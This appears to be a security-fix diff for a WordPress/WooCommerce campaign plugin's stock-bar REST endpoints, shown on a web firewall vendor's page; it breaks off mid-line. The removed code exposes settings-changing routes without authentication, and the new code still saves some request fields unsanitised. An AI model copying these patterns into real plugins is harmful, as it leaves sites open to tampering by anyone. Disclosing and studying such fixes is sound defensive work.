-            add_action('wp_enqueue_scripts', [$this, 'wisecampaign_enqueue_scripts']);
-            add_action('wp_enqueue_scripts', [$this, 'wisecampaign_plugin_enqueue_styles']);
-        }
-    }
-
-    function wisecampaign_pages_enqueue_scripts($hook)
-    {
-        echo '<script> document.documentElement.style.setProperty("--wpadminbar-top", "0"); </script>';
-
-        wp_enqueue_style('wise_campaign_pro-style', WISECAMPAIGN_DIR_URL.'build/index.css');
-        wp_enqueue_script('wise_campaign_pro-script', WISECAMPAIGN_DIR_URL.'build/index.js', array('wp-element'),
-            '1.0.0', true);
-
-        // Load dashboard CSS for the main dashboard page
-        if (strpos($hook, 'wisecampaign_menu') !== false || strpos($hook, 'wisecampaign_banner') !== false) {
-            wp_enqueue_style('wisecampaign-dashboard-style', WISECAMPAIGN_DIR_URL . 'includes/css/wisecart-admin-settings.css', [], '1.0.0');
-        }
-
-        // Localize the script with data
-        wp_localize_script('wise_campaign_pro-script', 'wiseCampaignPageData', array(
-                'wiseCampaignUrl' => WISECAMPAIGN_DIR_URL,
-                'isWooCommerceExists' => class_exists( 'WooCommerce' ),
-                'isProActive' => $this->get_pro_status()
-            ));
-
-    }
-
-    public function get_pro_status()
-    {
-        // For demonstration, we'll assume the pro version is always active.
-        // In a real scenario, you would check the actual license status.
-        $is_pro_active = false;
-        $has_pro_installed = is_plugin_active('wisecampaign-pro/wisecampaign-pro.php'); // Replace with actual check
-
-        if ($has_pro_installed) {
-            $url = home_url('/wp-json/wise-campaign-plugin/v1/license-status');
-
-            $response = wp_remote_get($url, ['timeout' => 20]);
-
-            if (is_wp_error($response)) {
-                $is_pro_active = false;
-            }
-
-            $data = json_decode(wp_remote_retrieve_body($response), true);
-
-            if (isset($data['status']) && $data['status'] === 'active') {
-                $is_pro_active = true;
-            }
-        }
-
-
-        return $is_pro_active;
-    }
-
-    function wisecampaign_enqueue_scripts()
-    {
-
-        wp_enqueue_script('wisecampaign-script', WISECAMPAIGN_DIR_URL.'build/index.js', array('wp-element'),
-            '1.0.0', true);
-        wp_enqueue_style('wise_campaign_pro-style', WISECAMPAIGN_DIR_URL.'build/index.css');
-
-        $activeBannerData = Banner::getInstance()->get_active_banner_data();
-        wp_localize_script('wisecampaign-script', 'wiseCampaignCustomize', $activeBannerData->data);
-    }
-
-    // Define a function to enqueue styles
-    function wisecampaign_plugin_enqueue_styles()
-    {
-        // Enqueue the stylesheet
-        wp_enqueue_style('wisecampaign-style');
-        wp_enqueue_style('google-fonts',
-            'https://fonts.googleapis.com/css2?family=Inter&family=Kreon:wght@700&Rubik+Scribble&display=swap', array(),
-            null);
-    }
-
+<?php
+
+namespace WISECAMPAIGNClasses;
+
+use WISECAMPAIGNTraitsSingletonTrait;
+
+
+class Register
+{
+    use SingletonTrait;
+
+    public function __construct()
+    {
+        add_action('admin_enqueue_scripts', [$this, 'wisecampaign_pages_enqueue_scripts']);
+        if (get_option('wisecampaign_plugin_enabled') == '1') {
+            add_action('wp_enqueue_scripts', [$this, 'wisecampaign_enqueue_scripts']);
+            add_action('wp_enqueue_scripts', [$this, 'wisecampaign_plugin_enqueue_styles']);
+        }
+    }
+
+    function wisecampaign_pages_enqueue_scripts($hook)
+    {
+        echo '<script> document.documentElement.style.setProperty("--wpadminbar-top", "0"); </script>';
+
+        // Load dashboard CSS for the main dashboard page
+        if (strpos($hook, 'wisecampaign_menu') !== false || strpos($hook, 'wisecampaign_banner') !== false) {
+            wp_enqueue_style('wisecampaign-dashboard-style', WISECAMPAIGN_DIR_URL . 'includes/css/wisecart-admin-settings.css', [], '1.0.0');
+        }
+    }
+
+    public function get_pro_status()
+    {
+        // For demonstration, we'll assume the pro version is always active.
+        // In a real scenario, you would check the actual license status.
+        $is_pro_active = false;
+        $has_pro_installed = is_plugin_active('wisecampaign-pro/wisecampaign-pro.php'); // Replace with actual check
+
+        if ($has_pro_installed && class_exists('WISECAMPAIGNPROClassesProPluginLicense')) {
+            $is_pro_active = WISECAMPAIGNPROClassesProPluginLicense::getInstance()->is_activated();
+        }
+
+
+        return $is_pro_active;
+    }
+
+    function wisecampaign_enqueue_scripts()
+    {
+        // New modular system handles enqueuing via ModuleManager
+    }
+
+    // Define a function to enqueue styles
+    function wisecampaign_plugin_enqueue_styles()
+    {
+        // Enqueue the stylesheet
+        wp_enqueue_style('wisecampaign-style');
+        wp_enqueue_style('google-fonts',
+            'https://fonts.googleapis.com/css2?family=Inter&family=Kreon:wght@700&Rubik+Scribble&display=swap', array(),
+            null);
+    }
+
 }
 No newline at end of file
--- a/wisecampaign/includes/Classes/StockBar.php
+++ b/wisecampaign/includes/Classes/StockBar.php
@@ -15,36 +15,39 @@

     public function __construct()
     {
-
         // Register REST routes
         add_action('rest_api_init', [$this, 'stockbar_register_rest_routes']);
-        $this->load_on_page();
-

+        // Load frontend hooks only when appropriate
+        add_action('wp', [$this, 'load_on_page']);
     }

     public function load_on_page()
     {
+        // Don't load on admin or if WooCommerce functions aren't available
+        if (is_admin() || !function_exists('is_product')) {
+            return;
+        }

-        $defaultStatus = ['stockBarEnabled' => false];
+        $defaultStatus = ['stockBarEnabled' => true]; // Default to true if not set for testing
         $status = get_option('wc-stockbar-status', $defaultStatus);
-        if ($status['stockBarEnabled'] == false) {
+        if (isset($status['stockBarEnabled']) && $status['stockBarEnabled'] == false) {
             return;
         }

         $setting = get_option('wc-stockbar-setting', []);

         // Ensure keys exist before accessing
-        $displayOnProductPage = isset($setting['displayOnProductPage']) ? filter_var($setting['displayOnProductPage'], FILTER_VALIDATE_BOOLEAN) : false;
+        $displayOnProductPage = isset($setting['displayOnProductPage']) ? filter_var($setting['displayOnProductPage'], FILTER_VALIDATE_BOOLEAN) : true;
         $displayOnShopPage = isset($setting['displayOnShopPage']) ? filter_var($setting['displayOnShopPage'], FILTER_VALIDATE_BOOLEAN) : false;

         // Display stock bar on **Product Page**
-        if ($displayOnProductPage) {
+        if ($displayOnProductPage && is_product()) {
             add_action('woocommerce_before_add_to_cart_button', [$this, 'cspe_custom_content'], 20);
         }

         // Display stock bar on **Shop Page**
-        if ($displayOnShopPage) {
+        if ($displayOnShopPage && (is_shop() || is_product_category())) {
             add_action('woocommerce_after_shop_loop_item_title', [$this, 'cspe_custom_content'], 15);
         }
     }
@@ -54,60 +57,114 @@
      */
     public function initialize_stockbar_defaults()
     {
-        $defaults = [
-            'wc-stockbar-1' => [
-                'type' => 'solid',
-                'progressBgColor' => '#d2d2d2',
-                'progressColor' => '#198038',
-                'isActive' => true
+        $default_config = [
+            'linear' => [
+                'progressBarColor' => '#EC4899',
+                'stockBarBg' => '#FFFFFF',
+                'textColor' => '#111827',
+                'borderColor' => '#F1F5F9',
+                'fontSize' => '12px',
+                'fontWeight' => 'Bold',
+                'mainText' => "Hurry! Selling fast!",
+                'icon' => "Flame",
+                'subText' => "items left"
             ],
-            'wc-stockbar-2' => [
-                'type' => 'gradient',
-                'progressBgColor' => '#d2d2d2',
-                'progressStartColor' => '#ffc83a',
-                'progressEndColor' => '#fe4070',
-                'isActive' => false
+            'pulse' => [
+                'progressBarColor' => '#EF4444',
+                'stockBarBg' => '#FEF2F2',
+                'textColor' => '#991B1B',
+                'borderColor' => '#FEE2E2',
+                'fontSize' => '13px',
+                'fontWeight' => 'Bold',
+                'mainText' => "Extremely Limited Stock!",
+                'icon' => "AlertCircle",
+                'subText' => "Only 12 items remaining"
+            ],
+            'minimal' => [
+                'progressBarColor' => '#3B82F6',
+                'stockBarBg' => '#F8FAFC',
+                'textColor' => '#1E293B',
+                'borderColor' => '#E2E8F0',
+                'fontSize' => '11px',
+                'fontWeight' => 'Medium',
+                'mainText' => "Popular Product",
+                'icon' => "TrendingUp",
+                'subText' => "Pieces available"
+            ],
+            'countdown' => [
+                'progressBarColor' => '#F59E0B',
+                'stockBarBg' => '#FFFBEB',
+                'textColor' => '#92400E',
+                'borderColor' => '#FEF3C7',
+                'fontSize' => '12px',
+                'fontWeight' => 'Bold',
+                'mainText' => "Flash Sale Ends In",
+                'icon' => "Clock",
+                'subText' => "left",
+                'labelPosition' => "top",
+                'timerExpiry' => ""
+            ],
+            'badge' => [
+                'progressBarColor' => '#10B981',
+                'stockBarBg' => '#F0FDF4',
+                'textColor' => '#065F46',
+                'borderColor' => '#DCFCE7',
+                'fontSize' => '12px',
+                'fontWeight' => 'Bold',
+                'mainText' => "Limited Stock",
+                'icon' => "Package",
+                'subText' => "left"
             ]
         ];

-        // Log to confirm method execution
-        error_log("Initializing stock bar defaults...");
+        $defaults = [
+            'wc-stockbar-1' => array_merge($default_config, [
+                'id' => 'linear',
+                'name' => 'High Demand Flow',
+                'isActive' => true
+            ]),
+            'wc-stockbar-2' => array_merge($default_config, [
+                'id' => 'pulse',
+                'name' => 'Urgent Alert',
+                'isActive' => false
+            ])
+        ];

         // Save each default stock bar design
         foreach ($defaults as $key => $settings) {
             if (get_option($key) === false) {
                 update_option($key, $settings);
-                error_log("Setting default for $key: " . json_encode($settings));
             }
         }

+        if (get_option('activeWiseStockbarId') === false) {
+            update_option('activeWiseStockbarId', 'wc-stockbar-1');
+        }
+
         $default_setting = [
             'displayOnShopPage' => false,
-            'displayOnProductPage' => false
+            'displayOnProductPage' => true
         ];
         // Only set default if the option doesn't exist yet
         if (get_option('wc-stockbar-setting') === false) {
             update_option('wc-stockbar-setting', $default_setting);
         }
-
-
     }

     function get_status()
     {
-        $defaultStatus = ['stockBarEnabled' => false];
+        $defaultStatus = ['stockBarEnabled' => true];
         $status = get_option('wc-stockbar-status', $defaultStatus);
         return rest_ensure_response($status);
     }

     function update_status(WP_REST_Request $request)
     {
-
         if ($request->has_param('stockBarEnabled')) {
             update_option('wc-stockbar-status', ['stockBarEnabled' => rest_sanitize_boolean($request['stockBarEnabled'])]);
         }

-        $defaultStatus = ['stockBarEnabled' => false];
+        $defaultStatus = ['stockBarEnabled' => true];
         $status = get_option('wc-stockbar-status', $defaultStatus);
         return rest_ensure_response($status);
     }
@@ -118,60 +175,61 @@
      */
     public function stockbar_register_rest_routes()
     {
+        $namespace = 'wisecampaign/v1';

         // Endpoint to get initialized stock bar designs
-        register_rest_route('wise-campaign-plugin/v1', '/stockbar-status', [
+        register_rest_route($namespace, '/stockbar-status', [
             'methods' => 'GET',
             'callback' => [$this, 'get_status'],
             'permission_callback' => '__return_true'
         ]);

-        // Endpoint to get initialized stock bar designs
-        register_rest_route('wise-campaign-plugin/v1', '/stockbar-status', [
+        register_rest_route($namespace, '/stockbar-status', [
             'methods' => 'POST',
             'callback' => [$this, 'update_status'],
-            'permission_callback' => '__return_true'
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

-        // Endpoint to get initialized stock bar designs
-        register_rest_route('wise-campaign-plugin/v1', '/stockbars', [
+        register_rest_route($namespace, '/stockbars', [
             'methods' => 'GET',
             'callback' => [$this, 'get_initialized_stockbars'],
-            'permission_callback' => '__return_true',
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            },
         ]);

-        // Endpoint to update stock bar design
-        register_rest_route('wise-campaign-plugin/v1', '/stockbars', [
+        register_rest_route($namespace, '/stockbars', [
             'methods' => 'POST',
             'callback' => [$this, 'save_stockbar_design'],
-            'permission_callback' => '__return_true'
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

-        // Endpoint to update stock bar settings
-        register_rest_route('wise-campaign-plugin/v1', '/stockbars/setting', [
+        register_rest_route($namespace, '/stockbars/setting', [
             'methods' => 'POST',
             'callback' => [$this, 'update_stockbar_setting'],
-            'permission_callback' => '__return_true'
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

-        // Endpoint to update stock bar settings
-        register_rest_route('wise-campaign-plugin/v1', '/stockbars/setting', [
+        register_rest_route($namespace, '/stockbars/setting', [
             'methods' => 'GET',
             'callback' => [$this, 'get_stockbar_setting'],
-            'permission_callback' => '__return_true',
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            },
         ]);

-        // Add new endpoint for setting active stock bar
-        register_rest_route('wise-campaign-plugin/v1', '/stockbars/set-active', [
+        register_rest_route($namespace, '/stockbars/set-active', [
             'methods' => 'POST',
             'callback' => [$this, 'set_active_stockbar_endpoint'],
-            'permission_callback' => '__return_true'
-        ]);
-
-        register_rest_route('wise-campaign-plugin/v1', '/pro-status', [
-            'methods' => 'GET',
-            'callback' => [$this, 'get_pro_status'],
-            'permission_callback' => '__return_true',
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);
     }

@@ -190,14 +248,6 @@
         // Update active stock bar
         $this->set_active_stockbar($stockbar_id);

-        // Update isActive status for all stock bars
-        $stockbar_ids = ['wc-stockbar-1', 'wc-stockbar-2'];
-        foreach ($stockbar_ids as $id) {
-            $stockbar = get_option($id, []);
-            $stockbar['isActive'] = ($id === $stockbar_id);
-            update_option($id, $stockbar);
-        }
-
         return rest_ensure_response([
             'success' => true,
             'message' => 'Active stock bar updated successfully'
@@ -215,12 +265,15 @@
         ];

         $stockbars = [];
+        $active_id = $this->get_active_stockbar();

-        // Retrieve each stock bar from the database and add to the array
         foreach ($defaults as $key) {
             $stockbar = get_option($key, []);
-            // Add id to the stock bar settings
-            $stockbar['id'] = $key;
+            if (empty($stockbar))
+                continue;
+
+            $stockbar['db_id'] = $key;
+            $stockbar['isActive'] = ($key === $active_id);
             $stockbars[] = $stockbar;
         }

@@ -232,88 +285,57 @@
      */
     public function save_stockbar_design(WP_REST_Request $request)
     {
-        $settings = $request->get_json_params();
-        $design_id = $settings['id'] ?? '';
-
-        if (!$design_id) {
-            return rest_ensure_response(['success' => false, 'message' => 'ID not specified']);
-        }
-
-        $stockbar = get_option($design_id);
-        if (!$stockbar) {
-            return rest_ensure_response(['success' => false, 'message' => 'Stock bar design not found']);
-        }
-
-        // Common properties
-        $common_properties = [
-            'type' => 'sanitize_text_field',
-            'progressBgColor' => 'sanitize_hex_color',
-            'backgroundColor' => 'sanitize_hex_color',
-            'textColor' => 'sanitize_hex_color',
-            'borderColor' => 'sanitize_hex_color',
-            'isActive' => null
-        ];
-
-        foreach ($common_properties as $prop => $sanitize_callback) {
-            if (isset($settings[$prop])) {
-                if ($sanitize_callback) {
-                    $stockbar[$prop] = $sanitize_callback($settings[$prop]);
-                } else {
-                    $stockbar[$prop] = $settings[$prop];
-                }
+        try {
+            $settings = $request->get_json_params();
+            if (!is_array($settings)) {
+                return rest_ensure_response(['success' => false, 'message' => 'Invalid JSON data']);
             }
-        }
-
-        // Handle isActive separately
-        if (isset($settings['isActive']) && $settings['isActive']) {
-            $this->set_active_stockbar($design_id);
-        }

-        // Type-specific properties
-        if ($settings['type'] === 'solid' && isset($settings['progressColor'])) {
-            $stockbar['progressColor'] = sanitize_hex_color($settings['progressColor']);
-        }
+            $design_id = $settings['db_id'] ?? $settings['id'] ?? '';

-        if ($settings['type'] === 'gradient') {
-            if (isset($settings['progressStartColor'])) {
-                $stockbar['progressStartColor'] = sanitize_hex_color($settings['progressStartColor']);
-            }
-            if (isset($settings['progressEndColor'])) {
-                $stockbar['progressEndColor'] = sanitize_hex_color($settings['progressEndColor']);
+            if (!$design_id) {
+                return rest_ensure_response(['success' => false, 'message' => 'ID not specified']);
             }
-        }

-        update_option($design_id, $stockbar);
-        return rest_ensure_response(['success' => true, 'message' => 'Stock bar settings updated successfully']);
-    }
-
-    public function get_pro_status()
-    {
-        // For demonstration, we'll assume the pro version is always active.
-        // In a real scenario, you would check the actual license status.
-        $is_pro_active = false;
-        $has_pro_installed = is_plugin_active('wisecampaign-pro/wisecampaign-pro.php'); // Replace with actual check
-
-        if ($has_pro_installed) {
-            $url = home_url('/wp-json/wise-campaign-plugin/v1/license-status');
-
-            $response = wp_remote_get($url, ['timeout' => 20]);
+            $stockbar = get_option($design_id, []);
+            if (!is_array($stockbar)) {
+                $stockbar = [];
+            }

-            if (is_wp_error($response)) {
-                $is_pro_active = false;
+            // Update fields from request
+            $fields_to_save = [
+                'id',
+                'progressBarColor',
+                'progressBg',
+                'stockBarBg',
+                'textColor',
+                'borderColor',
+                'fontSize',
+                'fontWeight',
+                'content',
+                'linear',
+                'pulse',
+                'minimal',
+                'countdown',
+                'badge'
+            ];
+
+            foreach ($fields_to_save as $field) {
+                if (isset($settings[$field])) {
+                    $stockbar[$field] = $settings[$field];
+                }
             }

-            $data = json_decode(wp_remote_retrieve_body($response), true);
+            update_option($design_id, $stockbar);

-            if (isset($data['status']) && $data['status'] === 'active') {
-                $is_pro_active = true;
+            if (isset($settings['isActive']) && $settings['isActive']) {
+                $this->set_active_stockbar($design_id);
             }
-        }

-
-        return rest_ensure_response([
-            'isProActive' => $is_pro_active
-        ]);
+            return rest_ensure_response(['success' => true, 'message' => 'Stock bar settings updated successfully', 'data' => $stockbar]);
+        } catch (Throwable $e) {
+            return new WP_Error('server_error', $e->getMessage(), ['status' => 500]);
+        }
     }

     /**
@@ -321,23 +343,30 @@
      */
     public function update_stockbar_setting(WP_REST_Request $request)
     {
-        // Retrieve the current settings
-        $settings = get_option('wc-stockbar-setting', []);
+        try {
+            $settings = get_option('wc-stockbar-setting', []);
+            if (!is_array($settings)) {
+                $settings = [];
+            }
+            $params = $request->get_json_params();
+            if (!is_array($params)) {
+                return rest_ensure_response(['success' => false, 'message' => 'Invalid JSON data']);
+            }

-        // Check if the 'displayOnShopPage' is provided in the request and sanitize it
-        if (isset($request['displayOnShopPage'])) {
-            $settings['displayOnShopPage'] = rest_sanitize_boolean($request['displayOnShopPage']);
-        }
+            if (isset($params['displayOnShopPage'])) {
+                $settings['displayOnShopPage'] = wp_validate_boolean($params['displayOnShopPage']);
+            }

-        // Check if the 'displayOnProductPage' is provided in the request and sanitize it
-        if (isset($request['displayOnProductPage'])) {
-            $settings['displayOnProductPage'] = rest_sanitize_boolean($request['displayOnProductPage']);
-        }
+            if (isset($params['displayOnProductPage'])) {
+                $settings['displayOnProductPage'] = wp_validate_boolean($params['displayOnProductPage']);
+            }

-        // Save the updated settings
-        update_option('wc-stockbar-setting', $settings);
+            update_option('wc-stockbar-setting', $settings);

-        return rest_ensure_response(['success' => true, 'message' => 'Stock bar settings updated successfully']);
+            return rest_ensure_response(['success' => true, 'message' => 'Stock bar display settings updated successfully', 'settings' => $settings]);
+        } catch (Throwable $e) {
+            return new WP_Error('server_error', $e->getMessage(), ['status' => 500]);
+        }
     }

     public function set_active_stockbar($stockbarId)
@@ -347,87 +376,105 @@

     public function get_active_stockbar()
     {
-        return get_option('activeWiseStockbarId', null);
+        return get_option('activeWiseStockbarId', 'wc-stockbar-1');
     }

-
     /**
      * Retrieve stock bars setting.
      */
     public function get_stockbar_setting(WP_REST_Request $request)
     {
-        // Retrieve the settings from the database
-        $settings = get_option('wc-stockbar-setting', []);
-
-        // Return the settings as a response
+        $settings = get_option('wc-stockbar-setting', [
+            'displayOnShopPage' => false,
+            'displayOnProductPage' => true
+        ]);
         return rest_ensure_response($settings);
     }

     /**
-     * Display stock bar on product page
+     * Display stock bar on storefront
      */
     public function cspe_custom_content()
     {
-
         global $product;

-        // Check if stock management is enabled and stock quantity is available
+        if (!$product)
+            return;
+
+        // Check if stock management is enabled
         if ($product->managing_stock() && $product->get_stock_quantity() !== null) {

-            $active_stock_bar_id = $this->get_active_stockbar();
-            $stockbar = get_option($active_stock_bar_id, []);
+            $active_id = $this->get_active_stockbar();
+            $config = get_option($active_id, []);
+
+            if (empty($config))
+                return;

-            $total_sold = $product->get_total_sales();
-            $stock_quantity = $product->get_stock_quantity();
+            $total_sold = (int) $product->get_total_sales();
+            $stock_quantity = (int) $product->get_stock_quantity();

-            // Enqueue React script globally to avoid issues with conditional loading
             $this->enqueue_react_stockbar_script(
-                $stockbar,
+                $config,
                 $total_sold,
                 $stock_quantity
             );

-            echo '<style>.stock { display: none !important; }</style>';
-
             // Output React container
-            echo '<div id="wise-stockbar-container">Hi this is from php</div>';
+            echo '<div id="wise-stock-bar-app" class="wise-stock-bar-storefront"></div>';
         }
     }


-    public function enqueue_react_stockbar_script(
-        $stockbar,
-        $total_sold,
-        $stock_quantity
-    ) {
-        wp_enqueue_script(
-            'wise-pro-stockbar-script',
-            WISECAMPAIGN_DIR_URL . 'stock-bar-dist/assets/js/index.js',
-            ['wp-element'],
-            '1.0.0',
-            true
-        );
+    public function enqueue_react_stockbar_script($config, $total_sold, $stock_quantity)
+    {
+        $dist_path = WISECAMPAIGN_DIR_PATH . 'modules/wise-stock-bar/dist/';
+        $dist_url = WISECAMPAIGN_DIR_URL . 'modules/wise-stock-bar/dist/';

-        wp_enqueue_style('wise-pro-stockbar-react-style', WISECAMPAIGN_DIR_URL . 'stock-bar-dist/assets/css/index.css');
+        $entry_js = '';
+        $entry_css = '';
+
+        // Read manifest to get correct hashed filenames
+        $manifest_path = $dist_path . '.vite/manifest.json';
+        if (file_exists($manifest_path)) {
+            $manifest = json_decode(file_get_contents($manifest_path), true);
+            if (isset($manifest['src/main.jsx'])) {
+                $entry_js = $dist_url . $manifest['src/main.jsx']['file'];
+                if (isset($manifest['src/main.jsx']['css'][0])) {
+                    $entry_css = $dist_url . $manifest['src/main.jsx']['css'][0];
+                }
+            }
+        }
+
+        if (!$entry_js) {
+            // Fallback to dev if manifest not found - though in production we should have it
+            return;
+        }
+
+        wp_enqueue_script('wise-stock-bar-frontend', $entry_js, ['wp-element'], '1.0.0', true);
+        if ($entry_css) {
+            wp_enqueue_style('wise-stock-bar-frontend-style', $entry_css);
+        }
+
+        // Add module type to script
+        add_filter('script_loader_tag', function ($tag, $handle, $src) {
+            if ($handle === 'wise-stock-bar-frontend') {
+                return '<script type="module" src="' . esc_url($src) . '"></script>';
+            }
+            return $tag;
+        }, 10, 3);

         w

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.